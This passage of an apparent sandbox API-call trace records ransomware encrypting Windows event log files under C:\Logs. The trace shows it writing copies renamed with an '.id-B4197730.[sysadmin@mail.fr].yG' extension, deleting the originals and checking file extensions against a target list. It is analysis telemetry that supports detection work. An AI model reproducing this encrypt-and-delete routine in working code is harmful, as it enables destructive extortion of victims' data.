	[0053.320] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.320] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0053.382] GetLastError () returned 0x0
	[0053.382] ReadFile (in: hFile=0x34c, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0053.480] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0053.482] ReadFile (in: hFile=0x34c, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.482] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x16c, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x16c, lpOverlapped=0x0) returned 1
	[0053.482] SetEndOfFile (hFile=0x2e0) returned 1
	[0053.490] CloseHandle (hObject=0x2e0) returned 1
	[0053.491] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.491] SetEndOfFile (hFile=0x34c) returned 1
	[0053.492] CloseHandle (hObject=0x34c) returned 1
	[0053.493] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0053.493] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 1
	[0053.493] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0053.493] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0053.493] lstrlenW (lpString=".doc") returned 4
	[0053.493] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.493] lstrlenW (lpString=".docx") returned 5
	[0053.493] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.493] lstrlenW (lpString=".pdf") returned 4
	[0053.493] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.493] lstrlenW (lpString=".xls") returned 4
	[0053.493] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.493] lstrlenW (lpString=".xlsx") returned 5
	[0053.493] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.493] lstrlenW (lpString=".ppt") returned 4
	[0053.493] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.493] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0053.493] lstrlenW (lpString=".zip") returned 4
	[0053.493] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.493] lstrlenW (lpString=".rar") returned 4
	[0053.493] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.493] lstrlenW (lpString=".bz2") returned 4
	[0053.493] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.494] lstrlenW (lpString=".7z") returned 3
	[0053.494] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.494] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0053.494] lstrlenW (lpString=".dbf") returned 4
	[0053.494] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.494] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0053.494] lstrlenW (lpString=".1cd") returned 4
	[0053.494] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.494] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0053.494] lstrlenW (lpString=".jpg") returned 4
	[0053.494] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.494] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0053.494] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0053.494] lstrlenW (lpString=".doc") returned 4
	[0053.494] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.494] lstrlenW (lpString=".docx") returned 5
	[0053.494] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.494] lstrlenW (lpString=".pdf") returned 4
	[0053.494] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.494] lstrlenW (lpString=".xls") returned 4
	[0053.494] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.494] lstrlenW (lpString=".xlsx") returned 5
	[0053.494] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.494] lstrlenW (lpString=".ppt") returned 4
	[0053.494] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.494] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0053.494] lstrlenW (lpString=".zip") returned 4
	[0053.494] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.494] lstrlenW (lpString=".rar") returned 4
	[0053.494] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.494] lstrlenW (lpString=".bz2") returned 4
	[0053.494] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.494] lstrlenW (lpString=".7z") returned 3
	[0053.494] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.494] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0053.494] lstrlenW (lpString=".dbf") returned 4
	[0053.494] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.495] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0053.495] lstrlenW (lpString=".1cd") returned 4
	[0053.495] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.495] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0053.495] lstrlenW (lpString=".jpg") returned 4
	[0053.495] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.496] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0053.496] lstrlenW (lpString="Microsoft-Windows-User Profile Service%4Operational.evtx") returned 56
	[0053.496] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0053.497] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0053.497] CloseHandle (hObject=0x34c) returned 1
	[0053.497] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 0x20
	[0053.497] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0053.497] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0053.497] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.497] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.497] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0053.505] GetLastError () returned 0x0
	[0053.505] ReadFile (in: hFile=0x34c, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0053.522] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0053.524] ReadFile (in: hFile=0x34c, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.524] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x144, lpOverlapped=0x0) returned 1
	[0053.524] SetEndOfFile (hFile=0x2e0) returned 1
	[0053.524] CloseHandle (hObject=0x2e0) returned 1
	[0053.526] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.526] SetEndOfFile (hFile=0x34c) returned 1
	[0053.527] CloseHandle (hObject=0x34c) returned 1
	[0053.527] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0053.527] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 1
	[0053.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0053.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0053.528] lstrlenW (lpString=".doc") returned 4
	[0053.528] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.528] lstrlenW (lpString=".docx") returned 5
	[0053.528] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.528] lstrlenW (lpString=".pdf") returned 4
	[0053.528] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.528] lstrlenW (lpString=".xls") returned 4
	[0053.528] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.528] lstrlenW (lpString=".xlsx") returned 5
	[0053.528] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.528] lstrlenW (lpString=".ppt") returned 4
	[0053.528] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0053.528] lstrlenW (lpString=".zip") returned 4
	[0053.528] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.528] lstrlenW (lpString=".rar") returned 4
	[0053.528] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.528] lstrlenW (lpString=".bz2") returned 4
	[0053.528] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.528] lstrlenW (lpString=".7z") returned 3
	[0053.528] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0053.528] lstrlenW (lpString=".dbf") returned 4
	[0053.528] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0053.528] lstrlenW (lpString=".1cd") returned 4
	[0053.528] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0053.528] lstrlenW (lpString=".jpg") returned 4
	[0053.528] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0053.529] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0053.529] lstrlenW (lpString=".doc") returned 4
	[0053.529] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.529] lstrlenW (lpString=".docx") returned 5
	[0053.529] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.529] lstrlenW (lpString=".pdf") returned 4
	[0053.529] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.529] lstrlenW (lpString=".xls") returned 4
	[0053.529] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.529] lstrlenW (lpString=".xlsx") returned 5
	[0053.529] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.529] lstrlenW (lpString=".ppt") returned 4
	[0053.529] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.529] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0053.529] lstrlenW (lpString=".zip") returned 4
	[0053.529] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.529] lstrlenW (lpString=".rar") returned 4
	[0053.529] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.529] lstrlenW (lpString=".bz2") returned 4
	[0053.529] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.529] lstrlenW (lpString=".7z") returned 3
	[0053.529] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.529] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0053.529] lstrlenW (lpString=".dbf") returned 4
	[0053.529] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.529] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0053.529] lstrlenW (lpString=".1cd") returned 4
	[0053.529] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.529] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0053.529] lstrlenW (lpString=".jpg") returned 4
	[0053.529] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.529] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0053.529] lstrlenW (lpString="Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 45
	[0053.530] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0053.530] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0053.530] CloseHandle (hObject=0x34c) returned 1
	[0053.530] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 0x20
	[0053.530] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0053.530] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0053.530] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.530] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.530] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0053.530] GetLastError () returned 0x0
	[0053.530] ReadFile (in: hFile=0x34c, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0053.562] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0053.563] ReadFile (in: hFile=0x34c, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.563] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x12e, lpOverlapped=0x0) returned 1
	[0053.563] SetEndOfFile (hFile=0x2e0) returned 1
	[0053.564] CloseHandle (hObject=0x2e0) returned 1
	[0053.565] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.565] SetEndOfFile (hFile=0x34c) returned 1
	[0053.566] CloseHandle (hObject=0x34c) returned 1
	[0053.566] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0053.567] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 1
	[0053.567] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0053.567] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0053.567] lstrlenW (lpString=".doc") returned 4
	[0053.567] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.567] lstrlenW (lpString=".docx") returned 5
	[0053.567] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.567] lstrlenW (lpString=".pdf") returned 4
	[0053.567] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.567] lstrlenW (lpString=".xls") returned 4
	[0053.567] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.567] lstrlenW (lpString=".xlsx") returned 5
	[0053.567] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.567] lstrlenW (lpString=".ppt") returned 4
	[0053.567] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.567] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0053.567] lstrlenW (lpString=".zip") returned 4
	[0053.567] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.567] lstrlenW (lpString=".rar") returned 4
	[0053.568] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.568] lstrlenW (lpString=".bz2") returned 4
	[0053.568] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.568] lstrlenW (lpString=".7z") returned 3
	[0053.568] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.568] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0053.568] lstrlenW (lpString=".dbf") returned 4
	[0053.568] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.568] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0053.568] lstrlenW (lpString=".1cd") returned 4
	[0053.568] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.568] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0053.568] lstrlenW (lpString=".jpg") returned 4
	[0053.568] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.568] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0053.568] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0053.568] lstrlenW (lpString=".doc") returned 4
	[0053.568] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.568] lstrlenW (lpString=".docx") returned 5
	[0053.568] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.568] lstrlenW (lpString=".pdf") returned 4
	[0053.568] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.568] lstrlenW (lpString=".xls") returned 4
	[0053.568] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.568] lstrlenW (lpString=".xlsx") returned 5
	[0053.568] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.568] lstrlenW (lpString=".ppt") returned 4
	[0053.568] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.568] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0053.568] lstrlenW (lpString=".zip") returned 4
	[0053.568] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.568] lstrlenW (lpString=".rar") returned 4
	[0053.568] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.568] lstrlenW (lpString=".bz2") returned 4
	[0053.568] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.568] lstrlenW (lpString=".7z") returned 3
	[0053.568] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.569] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0053.569] lstrlenW (lpString=".dbf") returned 4
	[0053.569] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.569] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0053.569] lstrlenW (lpString=".1cd") returned 4
	[0053.569] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.569] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0053.569] lstrlenW (lpString=".jpg") returned 4
	[0053.569] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.569] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0053.569] lstrlenW (lpString="Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 42
	[0053.569] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0053.570] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0053.570] CloseHandle (hObject=0x34c) returned 1
	[0053.570] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 0x20
	[0053.570] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0053.570] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0053.570] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.570] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.570] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0053.578] GetLastError () returned 0x0
	[0053.578] ReadFile (in: hFile=0x34c, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
